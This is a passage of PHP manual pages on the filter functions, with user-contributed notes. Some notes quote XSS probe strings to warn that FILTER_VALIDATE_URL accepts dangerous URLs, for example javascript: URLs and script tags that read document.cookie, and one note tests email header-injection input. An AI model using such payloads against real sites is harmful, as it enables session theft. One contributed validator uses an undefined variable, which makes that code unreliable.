$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
$search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
echo "You have searched for $search_html.\n";
echo "<a href='?search=$search_url'>Search again.</a>";
?>

If you need to set a default input value and filter that, use filter_var on your required input variable instead
travismowens at gmail dot com 28-Jul-2010 09:21
I wouldn't recommend people use this function to store their data in a database.  It's best not to encode data when storing it, it's better to store it raw and convert in upon the time of need.

One main reason for this is because if you have a short CHAR(16) field and the text contains encoded characters (quotes, ampersand) you can easily take a 12 character entry which obviously fits, but because of encoding it no longer fits.

Also, while not as common, if you need to use this data in another place, such as a non webpage (perhaps in a desktop app, or to a cell phone SMS or to a pager) the HTML encoded data will appear raw, and now you have to decode the data.

In summary, the best way to architect your system, is to store data as raw, and encode it only the moment you need to.  So this means in your PHP upon doing a SQL query, instead of merely doing an   echo $row['title']  you need to run htmlentities() on your echos, or better yet, an abstract function.
Maksym Karazeev 03-Mar-2009 01:13
Just a tip.

Note how to setup default filter for filter_var_array

When I tried to use filter_var_array and didn't mentioned all array indexes in definition it filtered it with some filter and broke values so using this tip corrected everything

<?php
$def = array_map(create_function('', 'return array("filter"=>FILTER_UNSAFE_RAW);'), $input);
?>
anthony dot parsons at manx dot net 23-Aug-2007 02:10
FastCGI seems to cause strange side-effects with unexpected null values when using INPUT_SERVER and INPUT_ENV with this function. You can use this code to see if it affects your server:
<?php
var_dump($_SERVER);
foreach ( array_keys($_SERVER) as $b ) {
    var_dump($b, filter_input(INPUT_SERVER, $b));
}
echo '<hr>';
var_dump($_ENV);
foreach ( array_keys($_ENV) as $b ) {
    var_dump($b, filter_input(INPUT_ENV, $b));
}
?>
If you want to be on the safe side, using the superglobal $_SERVER and $_ENV variables will always work. You can still use the filter_* functions for Get/Post/Cookie without a problem, which is the important part!


返回所支持的过滤器列表

  • ? filter_input
  • filter_var_array ?
  • PHP Manual
  • 过滤器函数
  • 返回所支持的过滤器列表

filter_list

(PHP 5 >= 5.2.0, PHP 7)

filter_list — 返回所支持的过滤器列表

说明

filter_list ( void ) : array

返回值

返回一个所支持的过滤器的名称的列表，如果没有这样子的过滤器的话则返回空数组。这个数组的索引不是过滤器id， 你可以通过 filter_id() 去根据名称获取它们。

范例

Example #1 一个 filter_list() 的例子

<?php
print_r(filter_list());
?>

以上例程的输出类似于：

Array
(
    [0] => int
    [1] => boolean
    [2] => float
    [3] => validate_regexp
    [4] => validate_url
    [5] => validate_email
    [6] => validate_ip
    [7] => string
    [8] => stripped
    [9] => encoded
    [10] => special_chars
    [11] => unsafe_raw
    [12] => email
    [13] => url
    [14] => number_int
    [15] => number_float
    [16] => magic_quotes
    [17] => callback
)

User Contributed Notes

El diablo 07-Mar-2018 08:43
Get filter_list() with filter_id() as key.

<?php
print_r(array_flip(array_map('filter_id', array_combine(filter_list(), filter_list()))));
?>

Array
(
    [257] => int
    [258] => boolean
    [259] => float
    [272] => validate_regexp
    [277] => validate_domain
    [273] => validate_url
    [274] => validate_email
    [275] => validate_ip
    [276] => validate_mac
    [513] => stripped
    [514] => encoded
    [515] => special_chars
    [522] => full_special_chars
    [516] => unsafe_raw
    [517] => email
    [518] => url
    [519] => number_int
    [520] => number_float
    [521] => magic_quotes
    [1024] => callback
)
larry at weblabsperth dot com dot au 05-Sep-2016 09:42
Output a table of Filter IDs as Integers with corresponding Constant IDs:

<?php

echo '<table>';
echo '<tr>';
echo '<th>Filter Name</th>';
echo '<th>Filter Int ID</th>';
echo '<th>Filter Const ID</th>';
echo '</tr>';

foreach (filter_list() as $id =>$filter) {
    $const = 'FILTER_';
    switch($filter) {
        case 'int':
        case 'boolean':
        case 'float':
            $const .= 'VALIDATE_' . $filter;
        break;

        case 'string':
        case 'stripped':
        case 'encoded':
        case 'special_chars':
        case 'full_special_chars':
        case 'unsafe_raw':
        case 'email':
        case 'url':
        case 'number_int':
        case 'number_float':
        case 'magic_quotes':
            $const .= 'SANITIZE_' . $filter;
        break;
    }

    if (substr($filter,0,8)=='validate' || $filter=='callback')
        $const .= $filter;

    echo '<tr><td>' . $filter . '</td><td align="center">' . filter_id($filter) . '</td><td>' . strtoupper($const) . '</td></tr>';
}

echo '</table>';

?>
vb dot jyoti at gmail dot com 13-Aug-2008 11:57
<?php
echo "<pre>";
print_r(filter_list());
echo "</pre>";
foreach (filter_list() as $key => $value)
{
echo "<br>".$key."=".$value.'='.filter_id($value);
}
?>

0=int=257
1=boolean=258
2=float=259
3=validate_regexp=272
4=validate_url=273
5=validate_email=274
6=validate_ip=275
7=string=513
8=stripped=513
9=encoded=514
10=special_chars=515
11=unsafe_raw=516
12=email=517
13=url=518
14=number_int=519
15=number_float=520
16=magic_quotes=521
17=callback=1024


获取多个变量并且过滤它们

  • ? filter_list
  • filter_var ?
  • PHP Manual
  • 过滤器函数
  • 获取多个变量并且过滤它们

filter_var_array

(PHP 5 >= 5.2.0, PHP 7)

filter_var_array — 获取多个变量并且过滤它们

说明

filter_var_array ( array $data [, mixed $definition [, bool $add_empty = true ]] ) : mixed

不需要重复调用 filter_var() 就能获取多个变量。

参数

data

数组，键为字符串，值为待过滤的数据。

definition

一个定义参数的数组。一个有效的键必须是一个包含变量名的string，一个有效的值要么是一个filter type，或者是一个array 指明了过滤器、标示和选项。如果值是一个数组，那么它的有效的键可以是 filter， 用于指明 filter type，flags 用于指明任何想要用于过滤器的标示，或者 options 用于指明任何想要用于过滤器的选项。 参考下面的例子来更好的理解这段说明。

这个参数也可以是一个filter constant的整数。那么数组中的所有值都会被这个过滤器所过滤。

add_empty

在返回值中添加 NULL 作为不存在的键。

返回值

如果成功则返回一个包含所请求变量的数组，或者当失败时返回 FALSE 。 一个数组的值如果过滤失败则为 FALSE ，或者为 NULL 如果变量不存在的话。

范例

Example #1 一个 filter_var_array() 的例子

<?php
error_reporting(E_ALL | E_STRICT);
$data = array(
    'product_id'    => 'libgd<script>',
    'component'     => '10',
    'versions'      => '2.0.33',
    'testscalar'    => array('2', '23', '10', '12'),
    'testarray'     => '2',
);

$args = array(
    'product_id'   => FILTER_SANITIZE_ENCODED,
    'component'    => array('filter'    => FILTER_VALIDATE_INT,
                            'flags'     => FILTER_FORCE_ARRAY,
                            'options'   => array('min_range' => 1, 'max_range' => 10)
                           ),
    'versions'     => FILTER_SANITIZE_ENCODED,
    'doesnotexist' => FILTER_VALIDATE_INT,
    'testscalar'   => array(
                            'filter' => FILTER_VALIDATE_INT,
                            'flags'  => FILTER_REQUIRE_SCALAR,
                           ),
    'testarray'    => array(
                            'filter' => FILTER_VALIDATE_INT,
                            'flags'  => FILTER_FORCE_ARRAY,
                           )

);

$myinputs = filter_var_array($data, $args);

var_dump($myinputs);
echo "\n";
?>

以上例程会输出：

array(6) {
  ["product_id"]=>
  string(17) "libgd%3Cscript%3E"
  ["component"]=>
  array(1) {
    [0]=>
    int(10)
  }
  ["versions"]=>
  string(6) "2.0.33"
  ["doesnotexist"]=>
  NULL
  ["testscalar"]=>
  bool(false)
  ["testarray"]=>
  array(1) {
    [0]=>
    int(2)
  }
}

更新日志

版本 | 说明
5.4.0 | 添加 add_empty 参数。

参见

  • filter_input_array() - 获取一系列外部变量，并且可以通过过滤器处理它们
  • filter_var() - 使用特定的过滤器过滤一个变量
  • filter_input() - 通过名称获取特定的外部变量，并且可以通过过滤器处理它
  • Types of filters

User Contributed Notes

Vee W. 19-Jun-2019 04:37
$emails = [
    'a' => 'email1@domain.com',
    'b' => '<email2>@domain.com',
];

$result = filter_var_array($emails, FILTER_SANITIZE_EMAIL);
print_r($result);

// the result will be...
// array('a' => 'email1@domain.com', 'b' => 'email2@domain.com')
tongcheong77 at gmail dot com 12-Jul-2017 05:44
an update to previous post.

using regular expressions along with another filter in filter var array

$data = array(

  'regxp' =>  "`\tcafé\n`"

  );

$args = array(

  'regxp'  =>  array(

  'filter'=>FILTER_VALIDATE_REGEXP | FILTER_SANITIZE_STRING,
  'flags'=>FILTER_FLAG_STRIP_HIGH | FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_BACKTICK,
  'options'=>array('regexp'=>"/t(.*)/"),

  ));

$output=filter_var_array($data,$args);

var_dump($output); // array(1) { ["regxp"]=> string(3) "caf" }

-bruce tong
tongcheong77 at gmail dot com 10-Jul-2017 06:10
for those who would like to know how to use regular expressions with filter var array. taken from w3 schools.

$data = array(

  'regxp' =>  'michael'

  );

$args = array(

  'regxp'  =>  array(

  'filter'=>FILTER_VALIDATE_REGEXP | FILTER_SANITIZE_STRING,
  'options'=>array('regexp'=>"/^michael$/"),

  ));

$output=filter_var_array($data,$args);

var_dump($output); // array(1) { ["regxp"]=> string(7) "michael" }

- bruce tong
eguvenc at gmail dot com 06-Jun-2009 03:45
<?php
//an example of simply sanitize an array..

$data = array(
                '<b>bold</b>',
                '<script>javascript</script>',
                'P*}i@893746%%%p*.i.*}}|.dw<?php echo "echo works!!";?>');

$myinputs = filter_var_array($data,FILTER_SANITIZE_STRING);

var_dump($myinputs);

//OUTPUT:
//formarray(3) { [0]=> string(4) "bold" [1]=> string(10) "javascript" [2]=> string(26) "P*}i@893746%%%p*.i.*}}|.dw" }
?>


使用特定的过滤器过滤一个变量

  • ? filter_var_array
  • 函数处理 ?
  • PHP Manual
  • 过滤器函数
  • 使用特定的过滤器过滤一个变量

filter_var

(PHP 5 >= 5.2.0, PHP 7)

filter_var — 使用特定的过滤器过滤一个变量

说明

filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed

参数

variable

待过滤的变量。注意：标量的值在过滤前，会被转换成字符串。

filter

The ID of the filter to apply. The Types of filters manual page lists the available filters.

If omitted, FILTER_DEFAULT will be used, which is equivalent to FILTER_UNSAFE_RAW. This will result in no filtering taking place by default.

options

一个选项的关联数组，或者按位区分的标示。如果过滤器接受选项，可以通过数组的 "flags" 位去提供这些标示。 对于回调型的过滤器，应该传入 callable。这个回调函数必须接受一个参数，即待过滤的值，并且 返回一个在过滤/净化后的值。

<?php
// for filters that accept options, use this format
$options = array(
    'options' => array(
        'default' => 3, // value to return if the filter fails
        // other options here
        'min_range' => 0
    ),
    'flags' => FILTER_FLAG_ALLOW_OCTAL,
);
$var = filter_var('0755', FILTER_VALIDATE_INT, $options);

// for filter that only accept flags, you can pass them directly
$var = filter_var('oops', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);

// for filter that only accept flags, you can also pass as an array
$var = filter_var('oops', FILTER_VALIDATE_BOOLEAN,
                  array('flags' => FILTER_NULL_ON_FAILURE));

// callback validate filter
function foo($value)
{
    // Expected format: Surname, GivenNames
    if (strpos($value, ", ") === false) return false;
    list($surname, $givennames) = explode(", ", $value, 2);
    $empty = (empty($surname) || empty($givennames));
    $notstrings = (!is_string($surname) || !is_string($givennames));
    if ($empty || $notstrings) {
        return false;
    } else {
        return $value;
    }
}
$var = filter_var('Doe, Jane Sue', FILTER_CALLBACK, array('options' => 'foo'));
?>

返回值

Returns the filtered data, or FALSE if the filter fails.

范例

Example #1 一个 filter_var() 的例子

<?php
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
?>

以上例程会输出：

string(15) "bob@example.com"
bool(false)

参见

  • filter_var_array() - 获取多个变量并且过滤它们
  • filter_input() - 通过名称获取特定的外部变量，并且可以通过过滤器处理它
  • filter_input_array() - 获取一系列外部变量，并且可以通过过滤器处理它们
  • Types of filters
  • callback 类型的信息

User Contributed Notes

yactouat at hotmail dot com 18-May-2019 02:47
While getting familiar with filter_var( $var, FILTER_VALIDATE_INT ), I found interesting that 0 will be filtered out and therefore wont be considered as an int. Hope that helps someone not to be stuck ;)

N.B.: if you need to accept 0's, you could use is_int()
Steve 15-Oct-2018 01:47
The note from "hek" about HTML5 having patterns thus alleviating the need to filter in PHP is completely wrong:  You still must filter input on the server side.  The HTML5 form inputs are client-side, meaning they are completely under the user's control.  Only when you receive the data in PHP is it server-side and under your control.  Once the data is under your control, then you must filter/sanitize it properly.

This is true regardless of server-side language.  I would encourage the moderators to remove the note from "hek" because it will mislead people with horrible consequences.

Steve
Anonymous 06-Sep-2018 07:31
Replying to Andi:

This is NOT a valid URL, as the characters are not encoded

http://example.com/"><script>alert(document.cookie)</script>

This is a valid URL:

http://example.com/%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
mpyw628 at gmail dot com 22-Jul-2018 10:40
I wrote a JavaScript email validator fully compatible with PHP's filter_var() implementation.

mpyw/FILTER_VALIDATE_EMAIL.js: Email validation compatible with PHP's filter_var($value, FILTER_VALIDATE_EMAIL)
https://github.com/mpyw/FILTER_VALIDATE_EMAIL.js
ccbsschucko at gmail dot com 15-Jun-2018 12:59
<?php
    class Sanitizer {
        /**
        * @param str => $email = email a ser sanitizado
        */
        public static function email($email){
            return filter_var($email, FILTER_SANITIZE_EMAIL);
        }

        /**
        * @param str => $valor = valor a ser sanitizado
        * @param bol => $allow_accents = permitir acentos
        * @param bol => $allow_spaces = permitir espa?os
        */
        public static function alfabetico($valor, bool $allow_accents = true, bool $allow_spaces = false){
            $valor = str_replace(array('"', "'", '`', '′', '¨'), '', trim($valor));
            if(!$allow_accents && !$allow_spaces){
                return preg_replace('#[^A-Za-z]#', '', $valor);
            }
            if($allow_accents && !$allow_spaces){
                return preg_replace('#[^A-Za-zà-?à-?]#', '', $valor);
            }
            if(!$allow_accents && $allow_spaces){
                return preg_replace('#[^A-Za-z ]#', '', $valor);
            }
            if($allow_accents && $allow_spaces){
                return preg_replace('#[^A-Za-zà-?à-? ]#', '', $valor);
            }
        }

        /**
        * @param str => $valor = valor a ser sanitizado
        */
        public static function alfanumerico($valor, bool $allow_accents = true, bool $allow_spaces = false){
            $valor = str_replace(array('"', "'", '`', '′', '¨'), '', trim($valor));
            if(!$allow_accents && !$allow_spaces){
                return preg_replace('#[^A-Za-z0-9]#', '', $valor);
            }
            if($allow_accents && !$allow_spaces){
                return preg_replace('#[^A-Za-zà-?à-?0-9]#', '', $valor);
            }
            if(!$allow_accents && $allow_spaces){
                return preg_replace('#[^A-Za-z0-9 ]#', '', $valor);
            }
            if($allow_accents && $allow_spaces){
                return preg_replace('#[^A-Za-zà-?à-?0-9 ]#', '', $valor);
            }
        }

        /**
        * @param str => $valor = valor a ser sanitizado
        */
        public static function numerico($valor){
            return preg_replace('/\D/', '', $valor);
        }

        /**
        * @param str => $valor = valor a ser sanitizado
        */
        public static function integer($valor){
            return (int)$valor;
        }

        /**
        * @param str => $valor = valor a ser sanitizado
        */
        public static function float($valor){
            return (float)$valor;
        }

        /**
        * @param str => $valor = valor a ser sanitizado
        */
        public static function money($valor){
            $valor = preg_replace('/\D/', '', $valor);
            if(strlen($valor) < 3){
                $valor = substr($valor, 0, strlen($valor)).'.00';
                return (float)$valor;
            }
            if(strlen($valor) > 2){
                $valor = substr($valor, 0, (strlen($valor)-2)).'.'.substr($valor, (strlen($valor)-2));
                return (float)$valor;
            }
        }

        /**
        * @param str => $valor = valor a ser sanitizado
        */
        public static function url($valor){
            $valor = strip_tags(str_replace(array('"', "'", '`', '′', '¨'), '', trim($valor)));
            return filter_var($valor, FILTER_SANITIZE_URL);
        }
    }
    // ex:
    var_dump(Sanitizer::numerico('bgusybd458ad8964sdfsd'));
    // 4588964
?>
crisp at tweakers dot net 09-Jan-2018 10:31
Note that only using FILTER_VALIDATE_URL to validate url's input may result in XSS:

$url = 'javascript://%0Aalert(document.cookie)';

if (filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)) {
    echo '<a href="' . $url . '">click</a>';
}

You should at least additionally check the actually used scheme.
divinity76 at gmail dot com 22-Jun-2017 11:00
note that FILTER_VALIDATE_BOOLEAN tries to be smart, recognizing words like Yes, No, Off, On, both string and native types of true and false, and is not case-sensitive when validating strings.

<?php
$vals=array('on','On','ON','off','Off','OFF','yes','Yes','YES',
'no','No','NO',0,1,'0','1','true',
'True','TRUE','false','False','FALSE',true,false,'foo','bar');
foreach($vals as $val){
    echo var_export($val,true).': ';   var_dump(filter_var($val,FILTER_VALIDATE_BOOLEAN,FILTER_NULL_ON_FAILURE));
}
?>

outputs:
'on': bool(true)
'On': bool(true)
'ON': bool(true)
'off': bool(false)
'Off': bool(false)
'OFF': bool(false)
'yes': bool(true)
'Yes': bool(true)
'YES': bool(true)
'no': bool(false)
'No': bool(false)
'NO': bool(false)
0: bool(false)
1: bool(true)
'0': bool(false)
'1': bool(true)
'true': bool(true)
'True': bool(true)
'TRUE': bool(true)
'false': bool(false)
'False': bool(false)
'FALSE': bool(false)
true: bool(true)
false: bool(false)
'foo': NULL
'bar': NULL
alice at deviant dot email 02-May-2016 12:19
Many people, myself included, have found that the FILTER_VALIDATE_EMAIL does not actually properly work.

Below is a wrapper that I believe validates every legal routable address.

<?php

/*******************************************
 *
 * These are the function
 *
 *  check_username is called by check_email
 *  - it compensates for bugs in the php
 *    filter_var function.
 *  - returns boolean
 *
 *  check_email is the function to use.
 *  First argument is string, address to
 *    check
 *  Second argument is optional boolean,
 *    whether or not to use DNS to validate
 *    the domain name. Defaults to true
 *  Returns boolean
 *
 */

function check_username($uname) {
  //Only UTF-8 addresses are legal
  if (iconv('UTF-8', 'UTF-8', $input) != $input) {
      return FALSE;
  }
  //replace all characters above U+007F with letter U for simplicity of checking
  $uname = preg_replace('/[\x{007F}-\x{FFFF}]/u', 'U', $uname);

  //remove comments - only legal in format (comment) at beginning or end of username
  $s[] = '/^\([^\)]*\)/'; $s[] = '/\([^\)]*\)$/';
  $uname = preg_replace($s, '', $uname);
  //make sure we have something left
  if(strlen(trim($uname)) == 0) {
    return FALSE;
  }
  // check for legal dot usage
  if(substr_count($uname, '..') > 0) {
    return FALSE;
  }
  // convert \\ and \" to an A for simplicity
  $s[] = '/[\\\][\\\]/';
  $s[] = '/\\\"/';
  $uname = preg_replace($s, 'A', $uname);
  // check for illegal use of quotes
  if(preg_match('/[^.]+"[^.]+/', $uname)) {
    return FALSE;
  }
  // compensate for characters legal when in quotes
  $uname = preg_replace_callback('/"(.*)"/', function ($m) {
    $s[]="/[ \(\),\:;<>@\[\] ]/";
    return preg_replace($s,'Q',$m[1]);
    }, $uname);
  // check what we have left with filter_var
  return filter_var($uname . '@example.org', FILTER_VALIDATE_EMAIL);
}

function check_email($email, $dns_check=true) {
  $array = explode('@', $email);
  if(count($array) < 2) {
    return FALSE;
  }
  $domain = end($array);
  array_pop($array);
  if(function_exists('idn_to_ascii')) {
    //php filter no workie with unicode characters
    $domain = idn_to_ascii($domain);
  }
  $ipcheck = preg_replace(array('/^\[ipv6\:/i', '/^\[/', '/\]$/'), '', $domain);
  if(filter_var($ipcheck, FILTER_VALIDATE_IP)) {
    // it's an IP address
    if(! filter_var($ipcheck, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
      return FALSE;
    }
  } else {
    // it's a domain name
    //   php bug - FILTER_VALIDATE_EMAIL doesn't like naked TLD
    if(! filter_var('user@a.' . $domain, FILTER_VALIDATE_EMAIL)) {
      return FALSE;
    }
    if($dns_check) {
      if(! dns_get_record($domain)) {
        return FALSE;
      }
    }
  }
  //now check legal username
  return check_username(implode('@', $array));
}
?>
It evaluates the address in two parts, first evaluating the host and if that legal it then evaluates the user name.

If there is a DNS problem *and* the default $dns_check value of true is used, valid will fail. If it is an international domain name, you have to have the php-intl package installed.

Enjoy.
buttflattery at gmail dot com 18-Jan-2016 03:15
FILTER_VALIDATE_URL validates a url like http://www.
amy at anvilzephyr dot com 10-Jan-2016 08:14
It might be wise to trim or sanitize (FILTER_SANITIZE_EMAIL) your email variable before validating to remove spaces:
filter_var(trim($email), FILTER_VALIDATE_EMAIL)
Ant 14-Dec-2015 02:20
Note: filter_var with filter=FILTER_VALIDATE_URL used parse_url function
dan at spiral8 dot net 08-Dec-2015 02:23
Here's a simple test using filter_var with FILTER_VALIDATE_URL.
(If you're using file_get_contents after this you will run into a problem, I was using: PHP 5.5.12 (cli))

<?php
$url = 'a://google.com';

$result = filter_var($url, FILTER_VALIDATE_URL);

if($result){
    echo 'Valid URL'.PHP_EOL;
}

var_dump($result);
?>

The result is:
Valid URL
string(14) "a://google.com"
yoanlin93 at gmail dot com 22-Nov-2015 06:34
Some boolean conversions:

<?php
var_dump(filter_var('oops', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// NULL

var_dump(filter_var('false', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(false)

var_dump(filter_var('true', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(true)

var_dump(filter_var(0, FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(false)

var_dump(filter_var(1, FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(true)

var_dump(filter_var('TRUE', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(true)

var_dump(filter_var('', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(false)

var_dump(filter_var('FALSE', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(false)
Anonymous 04-Nov-2015 11:20
FILTER_VALIDATE_URL allows:

filter_var('javascript://comment%0Aalert(1)', FILTER_VALIDATE_URL);

Where the %0A (URL encoded newline), in certain contexts, will split the comment from the JS code.

This can result in an XSS vulnerability.
joe at bloe dot com 13-Jul-2014 03:04
"(comment)localpart@example.com"
is an invalid E-Mail address per RFC5322 (Appendix A.6.3):
"Also, the comments and white space throughout addresses, dates, and message identifiers are all part of the obsolete syntax."
george at NOSPAM dot crownvalleysoftware dot com 30-Apr-2014 10:08
In the options, "logical disjunction" means "or" - for example:
filter_var($somestring ,FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH);
Tom 18-Nov-2013 10:23
It is important to note that though the data type of the first parameter of the function is stated as "mixed", this is only one half of the truth.

While it accepts any data type, the first parameter will always be cast to string before being validated or sanitized.

It seems that this function was designed strictly to be used on user input strings. For example: from an online-form. When using it for anything other than that, you may see issues. So read the documentation very carefully!

Especially note that there is an (to date) unresolved issue (#49510) concerning the Boolean filter while using the FILTER_NULL_ON_FAILURE flag. Note that both (string) FALSE and FALSE are not recognized as boolean values and will return NULL (not FALSE as you might expect).

I thus personally suggest that (to date) the best way to take the filter_var()-functions beyond their original purpose (and allow future extension and customization) is to wrap them in your own classes. This will allow you to work-around unexpected behavior on non-string input and add your custom checks, or back-port filters or sanitizers that may be added in later versions of PHP.
(Especially since PHP currently still lacks filters and sanitizers for some of the more exotic HTML5 input types, like "color". Thus there actually is a chance that we may see a need for custom filters or backports at some point in the future.)
CertaiN 01-Aug-2013 10:35
E-mail validator function that supports IPv6 and checking length.
This also supports Japanese old feature phone E-mail address by sending second argument $strict as FALSE.

<?php

function validate_email($email, $strict = true) {
    $dot_string = $strict ?
        '(?:[A-Za-z0-9!#$%&*+=?^_`{|}~\'\\/-]|(?<!\\.|\\A)\\.(?!\\.|@))' :
        '(?:[A-Za-z0-9!#$%&*+=?^_`{|}~\'\\/.-])'
    ;
    $quoted_string = '(?:\\\\\\\\|\\\\"|\\\\?[A-Za-z0-9!#$%&*+=?^_`{|}~()<>[\\]:;@,. \'\\/-])';
    $ipv4_part = '(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])';
    $ipv6_part = '(?:[A-fa-f0-9]{1,4})';
    $fqdn_part = '(?:[A-Za-z](?:[A-Za-z0-9-]{0,61}?[A-Za-z0-9])?)';
    $ipv4 = "(?:(?:{$ipv4_part}\\.){3}{$ipv4_part})";
    $ipv6 = '(?:' .
        "(?:(?:{$ipv6_part}:){7}(?:{$ipv6_part}|:))" . '|' .
        "(?:(?:{$ipv6_part}:){6}(?::{$ipv6_part}|:{$ipv4}|:))" . '|' .
        "(?:(?:{$ipv6_part}:){5}(?:(?::{$ipv6_part}){1,2}|:{$ipv4}|:))" . '|' .
        "(?:(?:{$ipv6_part}:){4}(?:(?::{$ipv6_part}){1,3}|(?::{$ipv6_part})?:{$ipv4}|:))" . '|' .
        "(?:(?:{$ipv6_part}:){3}(?:(?::{$ipv6_part}){1,4}|(?::{$ipv6_part}){0,2}:{$ipv4}|:))" . '|' .
        "(?:(?:{$ipv6_part}:){2}(?:(?::{$ipv6_part}){1,5}|(?::{$ipv6_part}){0,3}:{$ipv4}|:))" . '|' .
        "(?:(?:{$ipv6_part}:){1}(?:(?::{$ipv6_part}){1,6}|(?::{$ipv6_part}){0,4}:{$ipv4}|:))" . '|' .
        "(?::(?:(?::{$ipv6_part}){1,7}|(?::{$ipv6_part}){0,5}:{$ipv4}|:))" .
    ')';
    $fqdn = "(?:(?:{$fqdn_part}\\.)+?{$fqdn_part})";
    $local = "({$dot_string}++|(\"){$quoted_string}++\")";
    $domain = "({$fqdn}|\\[{$ipv4}]|\\[{$ipv6}]|\\[{$fqdn}])";
    $pattern = "/\\A{$local}@{$domain}\\z/";
    return preg_match($pattern, $email, $matches) &&
        (
            !empty($matches[2]) && !isset($matches[1][66]) && !isset($matches[0][256]) ||
            !isset($matches[1][64]) && !isset($matches[0][254])
        )
    ;
}

?>
gt at kani dot hu 21-Jun-2013 02:31
I found some addresses that FILTER_VALIDATE_EMAIL rejects, but RFC5321 permits:
<?php
foreach (array(
        'localpart.ending.with.dot.@example.com',
        '(comment)localpart@example.com',
        '"this is v@lid!"@example.com',
        '"much.more unusual"@example.com',
        'postbox@com',
        'admin@mailserver1',
        '"()<>[]:,;@\\"\\\\!#$%&\'*+-/=?^_`{}| ~.a"@example.org',
        '" "@example.org',
    ) as $address) {
    echo "<p>$address is <b>".(filter_var($address, FILTER_VALIDATE_EMAIL) ? '' : 'not')." valid</b></p>";
}
?>
Results:

localpart.ending.with.dot.@example.com is not valid
(comment)localpart@example.com is not valid
"this is v@lid!"@example.com is not valid
"much.more unusual"@example.com is not valid
postbox@com is not valid
admin@mailserver1 is not valid
"()<>[]:,;@\"\\!#$%&'*+-/=?^_`{}| ~.a"@example.org is not valid
" "@example.org is not valid

The documentation does not saying that FILTER_VALIDATE_EMAIL should pass the RFC5321, however you can meet with these examples (especially with the first one). So this is a note, not a bug report.
drew_mirage at hotmail dot com 18-Jun-2013 07:14
One key thing to remember about filtering integers is that the value for the option max_range must be less than or equal to the value of PHP_INT_MAX.

filter_var($someVariable, FILTER_VALIDATE_INT, array('options' => array('min_range' => 1, 'max_range' => SOME_VALUE_GREATER_THAN_PHP_INT_MAX)));

This will fail even if $someVariable is a valid integer in the expected range.

This can show up when you are attempting to validate a potential key for an unsigned MySQL INT type (whose maximum value is 4294967295) on a 32-bit system, where the value of PHP_INT_MAX is 2147483647.
cabrinosimone at gmail dot com 02-Apr-2013 03:19
Pay attention that the function will not validate "not latin" domains.

if (filter_var('уникум@из.рф', FILTER_VALIDATE_EMAIL)) {
    echo 'VALID';
} else {
    echo 'NOT VALID';
}
alex4home at gmail dot com 10-Jan-2013 12:18
Keep in mind that FILTER_VALIDATE_EMAIL will validate the email address according to standards.
However, giving the fact that organizations are free to restrict the forms of their own email addresses, using ONLY this filter can you a lot of bounces.

gmail, yahoo, hotmail, aol have special rules

For example :
<?php

$email_a = '0hot\'mail_check@hotmail.com';
if (filter_var($email_a, FILTER_VALIDATE_EMAIL)) {
    echo "This (email_a) email address is considered valid.";
   //reported as valid
}

//there can be no  "0hotmail_check@hotmail.com"
//because hotmail will say "Your email address needs to start with a letter. Please try again." even if you remove the '
?>
marcus at synchromedia dot co dot uk 03-Sep-2012 09:13
It's very likely that you actually want to detect all reserved ranges, not just private IPs, and there's another constant for them that should be bitwise-OR'd with it.
<?php
function is_private_ip($ip) {
    return !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}
?>
Martin L 27-Jul-2012 10:35
FILTER_SANITIZE_EMAIL header injection test.

<?php
$InjString = "\r\n|\n|%0A|%0D|bcc:|to:|cc:|Content-Type:|Mime-Type:|";
echo filter_var($InjString, FILTER_SANITIZE_EMAIL);
?>

||%0A|%0D|bcc|to|cc|Content-Type|Mime-Type|
Andi, info at pragmamx dot org 23-May-2012 06:07
And this is also a valid url

http://example.com/"><script>alert(document.cookie)</script>
keevitaja at gmail dot com 28-Jan-2012 08:05
please note FILTER_VALIDATE_URL passes following url

http://example.ee/sdsf"f
joelhy 06-Jul-2011 02:44
For those looking for private ip checking, there it is:
<?php
 function is_private_ip($ip)
{
     return !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE);
}
?>
php at maisqi dot com 27-May-2011 07:11
FILTER_VALIDATE_URL does not support internationalized domain name (IDN). Valid or not, no domain name with Unicode chars on it will pass validation.

We can circumvent this with a home grown solutions, but C code is C code, so I've gone for the code bellow, which builds on filter_var().

<?php
$res = filter_var ($uri, FILTER_VALIDATE_URL);
if ($res) return $res;
// Check if it has unicode chars.
$l = mb_strlen ($uri);
if ($l !== strlen ($uri)) {
    // Replace wide chars by "X".
    $s = str_repeat (' ', $l);
    for ($i = 0; $i < $l; ++$i) {
        $ch = mb_substr ($uri, $i, 1);
        $s [$i] = strlen ($ch) > 1 ? 'X' : $ch;
    }
    // Re-check now.
    $res = filter_var ($s, FILTER_VALIDATE_URL);
    if ($res) {    $uri = $res; return 1;    }
}
